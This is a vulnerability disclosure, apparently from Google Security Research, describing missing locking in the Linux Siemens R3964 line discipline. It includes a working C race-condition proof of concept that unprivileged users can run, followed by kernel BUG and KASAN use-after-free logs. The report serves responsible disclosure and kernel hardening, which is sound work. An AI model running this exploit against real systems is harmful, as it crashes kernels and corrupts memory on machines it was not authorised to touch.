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Linux Siemens R3964 Line Discipline Missing Lock

Linux Siemens R3964 Line Discipline Missing Lock
Posted Apr 23, 2019
Authored by Jann Horn, Google Security Research

The Siemens R3964 line discipline code in drivers/tty/n_r3964.c has a few races around its ioctl handler; for example, the handler for R3964_ENABLE_SIGNALS just allocates and deletes elements in a linked list with zero locking. This code is reachable by an unprivileged user if the line discipline is enabled in the kernel config; Ubuntu 18.04, for example, ships this line discipline as a module.

tags | exploit, kernel
systems | linux, ubuntu
SHA-256 | a396888582339ffe59796c61b8e3097b97ece3e13bcd1b03ad7f6bb0490ef36d

Linux Siemens R3964 Line Discipline Missing Lock

Change Mirror Download
Linux: missing locking in Siemens R3964 line discipline 



The Siemens R3964 line discipline code in drivers/tty/n_r3964.c has a few races
around its ioctl handler; for example, the handler for R3964_ENABLE_SIGNALS
just allocates and deletes elements in a linked list with zero locking.
This code is reachable by an unprivileged user if the line discipline is enabled
in the kernel config; Ubuntu 18.04, for example, ships this line discipline as a
module.

Proof of concept:

==================================
user@ubuntu-18-04-vm:~/r3964$ cat r3964_racer.c
#define _GNU_SOURCE
#include <pthread.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <err.h>
#include <stdlib.h>
#include <linux/n_r3964.h>

static int ptm_fd, slave_fd;

static void *thread_fn(void *dummy) {
int res;
while (1) {
res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, R3964_SIG_ALL);
printf(\"R3964_ENABLE_SIGNALS: %d\
\", res);
res = ioctl(slave_fd, R3964_ENABLE_SIGNALS, 0);
printf(\"R3964_ENABLE_SIGNALS: %d\
\", res);
}
}

int main(void) {
ptm_fd = getpt();
if (ptm_fd == -1) err(1, \"getpt\");
if (unlockpt(ptm_fd)) err(1, \"unlockpt\");
slave_fd = ioctl(ptm_fd, TIOCGPTPEER, O_RDWR);
if (slave_fd == -1) err(1, \"TIOCGPTPEER\");

printf(\"-----------------------------------------\
\");
system(\"ls -l /proc/$PPID/fd\");
printf(\"-----------------------------------------\
\");

const int disc_r3964 = N_R3964;
if (ioctl(slave_fd, TIOCSETD, &disc_r3964)) err(1, \"TIOCSETD\");

pthread_t thread;
if (pthread_create(&thread, NULL, thread_fn, NULL)) errx(1, \"pthread_create\");

thread_fn(NULL);

return 0;
}
user@ubuntu-18-04-vm:~/r3964$ gcc -o r3964_racer r3964_racer.c -pthread && ./r3964_racer
[...]
==================================

dmesg splat:

==================================
[ 82.646953] r3964: Philips r3964 Driver $Revision: 1.10 $
[ 82.656459] ------------[ cut here ]------------
[ 82.656461] kernel BUG at /build/linux-Y38gIP/linux-4.15.0/mm/slub.c:296!
[ 82.658396] invalid opcode: 0000 [#1] SMP PTI
[ 82.659515] Modules linked in: n_r3964 joydev ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack libcrc32c br_netfilter bridge stp llc aufs overlay snd_hda_codec_generic crct10dif_pclmul crc32_pclmul snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep ghash_clmulni_intel snd_pcm snd_seq_midi snd_seq_midi_event pcbc aesni_intel aes_x86_64 snd_rawmidi snd_seq snd_seq_device snd_timer snd crypto_simd glue_helper cryptd input_leds soundcore mac_hid 9pnet_virtio 9pnet serio_raw qemu_fw_cfg sch_fq_codel parport_pc ppdev lp parport ip_tables x_tables autofs4 virtio_gpu ttm floppy drm_kms_helper psmouse syscopyarea sysfillrect sysimgblt fb_sys_fops drm
[ 82.677770] virtio_net i2c_piix4 pata_acpi
[ 82.678849] CPU: 1 PID: 2209 Comm: r3964_racer Not tainted 4.15.0-42-generic #45-Ubuntu
[ 82.680897] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 82.683098] RIP: 0010:kfree+0x16a/0x180
[ 82.684116] RSP: 0018:ffffb6b381d7fd50 EFLAGS: 00010246
[ 82.685454] RAX: ffff9bb0b4770000 RBX: ffff9bb0b4770000 RCX: ffff9bb0b4770000
[ 82.687285] RDX: 0000000000006e86 RSI: ffff9bb1bfca70a0 RDI: ffff9bb1bb003800
[ 82.689247] RBP: ffffb6b381d7fd68 R08: ffffffffc0511db0 R09: ffffffffc051202c
[ 82.691077] R10: ffffeb8c80d1dc00 R11: 0000000000000000 R12: ffff9bb1b3430e40
[ 82.692906] R13: ffffffffc051202c R14: ffff9bb13b56e800 R15: ffff9bb12d1addd0
[ 82.694726] FS: 00007ff9b92da740(0000) GS:ffff9bb1bfc80000(0000) knlGS:0000000000000000
[ 82.696801] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 82.698421] CR2: 0000558cf9e32ec8 CR3: 00000000a513a005 CR4: 00000000003606e0
[ 82.700259] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 82.702113] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 82.703946] Call Trace:
[ 82.704602] r3964_ioctl+0x27c/0x2b0 [n_r3964]
[ 82.705746] tty_ioctl+0x138/0x8c0
[ 82.706631] ? __wake_up+0x13/0x20
[ 82.707516] do_vfs_ioctl+0xa8/0x630
[ 82.708610] ? vfs_write+0x166/0x1a0
[ 82.709543] SyS_ioctl+0x79/0x90
[ 82.710405] do_syscall_64+0x73/0x130
[ 82.711357] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 82.712659] RIP: 0033:0x7ff9b8bd45d7
[ 82.713680] RSP: 002b:00007fffcd85bcf8 EFLAGS: 00000202 ORIG_RAX: 0000000000000010
[ 82.715617] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff9b8bd45d7
[ 82.717463] RDX: 0000000000000000 RSI: 0000000000005301 RDI: 0000000000000004
[ 82.719411] RBP: 00007fffcd85bd20 R08: 0000000000000000 R09: 0000000000000000
[ 82.721248] R10: 0000000000000000 R11: 0000000000000202 R12: 0000556df58ed820
[ 82.723093] R13: 00007fffcd85be30 R14: 0000000000000000 R15: 0000000000000000
[ 82.724930] Code: c4 80 74 04 41 8b 72 6c 4c 89 d7 e8 61 1c f9 ff eb 86 41 b8 01 00 00 00 48 89 d9 48 89 da 4c 89 d6 e8 8b f6 ff ff e9 6d ff ff ff <0f> 0b 48 8b 3d 6d c5 1c 01 e9 c9 fe ff ff 0f 1f 84 00 00 00 00
[ 82.729909] RIP: kfree+0x16a/0x180 RSP: ffffb6b381d7fd50
[ 82.731310] ---[ end trace c1cd537c5d2e0b84 ]---
==================================


I've also tried this on 5.0-rc2 with KASAN on, which resulted in this splat:

==================================
[ 69.883056] ==================================================================
[ 69.885163] BUG: KASAN: use-after-free in r3964_ioctl+0x288/0x3c0
[ 69.886855] Read of size 8 at addr ffff8881e0474020 by task r3964_racer/1134
[ 69.888820]
[ 69.889251] CPU: 3 PID: 1134 Comm: r3964_racer Not tainted 5.0.0-rc2 #238
[ 69.891729] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 69.894535] Call Trace:
[ 69.895223] dump_stack+0x71/0xab
[ 69.896134] ? r3964_ioctl+0x288/0x3c0
[ 69.897181] print_address_description+0x6a/0x270
[ 69.898473] ? r3964_ioctl+0x288/0x3c0
[ 69.899499] ? r3964_ioctl+0x288/0x3c0
[ 69.900534] kasan_report+0x14e/0x192
[ 69.901562] ? r3964_ioctl+0x288/0x3c0
[ 69.902606] r3964_ioctl+0x288/0x3c0
[ 69.903586] tty_ioctl+0x227/0xbd0
[...]
[ 69.917312] do_vfs_ioctl+0x134/0x8f0
[...]
[ 69.926807] ksys_ioctl+0x70/0x80
[ 69.927709] __x64_sys_ioctl+0x3d/0x50
[ 69.928734] do_syscall_64+0x73/0x160
[ 69.929741] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 69.931099] RIP: 0033:0x7f6491542dd7
[ 69.932068] Code: 00 00 00 48 8b 05 c1 80 2b 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 91 80 2b 00 f7 d8 64 89 01 48
[ 69.937051] RSP: 002b:00007f6491460f28 EFLAGS: 00000206 ORIG_RAX: 0000000000000010
[ 69.939067] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6491542dd7
[ 69.940977] RDX: 000000000000000f RSI: 0000000000005301 RDI: 0000000000000004
[ 69.942905] RBP: 00007f6491460f50 R08: 0000000000000000 R09: 0000000000000018
[ 69.944800] R10: 0000000000000064 R11: 0000000000000206 R12: 0000000000000000
[ 69.947600] R13: 00007ffeb17a9b4f R14: 0000000000000000 R15: 00007f6491c42040
[ 69.949491]
[ 69.949923] Allocated by task 1131:
[ 69.950866] __kasan_kmalloc.constprop.8+0xa5/0xd0
[ 69.952147] kmem_cache_alloc_trace+0xfa/0x200
[ 69.953352] r3964_ioctl+0x2e6/0x3c0
[ 69.954333] tty_ioctl+0x227/0xbd0
[ 69.955267] do_vfs_ioctl+0x134/0x8f0
[ 69.956248] ksys_ioctl+0x70/0x80
[ 69.957150] __x64_sys_ioctl+0x3d/0x50
[ 69.958169] do_syscall_64+0x73/0x160
[ 69.959148] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 69.960485]
[ 69.960910] Freed by task 1131:
[ 69.961764] __kasan_slab_free+0x135/0x180
[ 69.962851] kfree+0x90/0x1d0
[ 69.963660] r3964_ioctl+0x208/0x3c0
[ 69.964631] tty_ioctl+0x227/0xbd0
[ 69.965564] do_vfs_ioctl+0x134/0x8f0
[ 69.966540] ksys_ioctl+0x70/0x80
[ 69.967424] __x64_sys_ioctl+0x3d/0x50
[ 69.968424] do_syscall_64+0x73/0x160
[ 69.969414] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 69.970768]
[ 69.971182] The buggy address belongs to the object at ffff8881e0474008
[ 69.971182] which belongs to the cache kmalloc-64 of size 64
[ 69.974429] The buggy address is located 24 bytes inside of
[ 69.974429] 64-byte region [ffff8881e0474008, ffff8881e0474048)
[ 69.977470] The buggy address belongs to the page:
[ 69.978744] page:ffffea0007811d00 count:1 mapcount:0 mapping:ffff8881e600f740 index:0x0 compound_mapcount: 0
[ 69.981316] flags: 0x17fffc000010200(slab|head)
[ 69.982528] raw: 017fffc000010200 ffffea0007554508 ffffea0007811e08 ffff8881e600f740
[ 69.984722] raw: 0000000000000000 0000000000270027 00000001ffffffff 0000000000000000
[ 69.984723] page dumped because: kasan: bad access detected
[ 69.984724]
[ 69.984725] Memory state around the buggy address:
[ 69.984727] ffff8881e0473f00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984729] ffff8881e0473f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984731] >ffff8881e0474000: fc fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc
[ 69.984732] ^
[ 69.984734] ffff8881e0474080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984736] ffff8881e0474100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 69.984737] ==================================================================
[ 69.984739] Disabling lock debugging due to kernel taint
[ 69.996233] ==================================================================
==================================


I wonder whether it would, in addition to fixing the locking, also make sense to
gate the line discipline on some sort of capability - it seems wrong to me that
this kind of code is exposed to every user on the system.


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.


Found by: jannh@google.com

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